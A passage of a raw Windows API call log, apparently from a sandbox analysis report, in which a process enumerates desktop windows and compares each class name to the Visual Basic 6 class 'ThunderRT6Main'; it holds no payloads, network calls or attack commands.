0x102b0 [0159.617] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.617] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0159.617] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0159.618] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0159.618] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0159.618] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.618] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.618] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0159.618] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0159.618] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0159.618] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.618] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.618] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0159.618] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.618] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0159.618] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.618] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.618] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0159.618] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.618] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0159.618] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.618] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.618] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0159.618] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.618] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0159.618] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.618] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.618] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0159.618] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.618] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.618] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.618] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0159.618] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.618] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.618] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0159.618] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.619] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0159.619] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.619] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.619] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0159.619] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.619] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.619] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0159.619] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.619] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.619] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0159.619] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0159.619] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0159.619] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0159.619] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0159.619] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.619] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0159.619] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.619] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.619] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0159.619] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.619] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0159.619] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0159.619] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.619] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0159.619] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.619] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.619] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0159.619] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0159.619] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.619] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.619] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0159.619] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0159.620] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.620] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0159.620] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.620] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0159.620] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0159.620] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.620] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0159.620] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.620] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0159.620] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0159.620] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.620] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0159.620] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.620] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0159.620] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0159.620] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.620] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0159.620] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0159.620] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.620] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0159.620] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.620] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0159.620] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0159.620] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0159.620] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.621] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0159.621] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.621] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0159.621] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0159.621] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.621] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0159.621] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.621] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0159.621] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0159.621] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.621] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0159.621] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.621] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0159.621] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0159.621] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.621] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0159.621] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.621] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0159.621] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0159.621] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.621] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0159.621] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.621] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.621] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0159.621] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0159.621] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.622] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0159.622] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.622] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0159.622] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0159.622] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.622] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0159.622] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.622] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0159.622] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0159.622] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.622] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0159.622] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.622] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0159.622] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0159.622] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.622] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0159.622] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.622] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.623] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0159.623] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0159.623] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.623] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0159.623] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.623] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0159.623] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0159.623] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.623] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0159.623] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.623] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0159.623] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0159.623] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.623] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0159.623] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.623] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0159.623] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0159.623] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.623] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0159.623] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.623] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0159.623] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0159.623] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.623] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0159.623] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.623] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.624] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0159.624] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0159.624] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.624] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0159.624] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.624] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0159.624] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0159.624] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.624] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0159.624] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.624] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0159.624] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0159.624] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.624] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0159.624] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.624] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0159.624] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0159.624] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.624] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0159.624] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.624] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0159.624] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20b6c0, nMaxCount=64 | out: 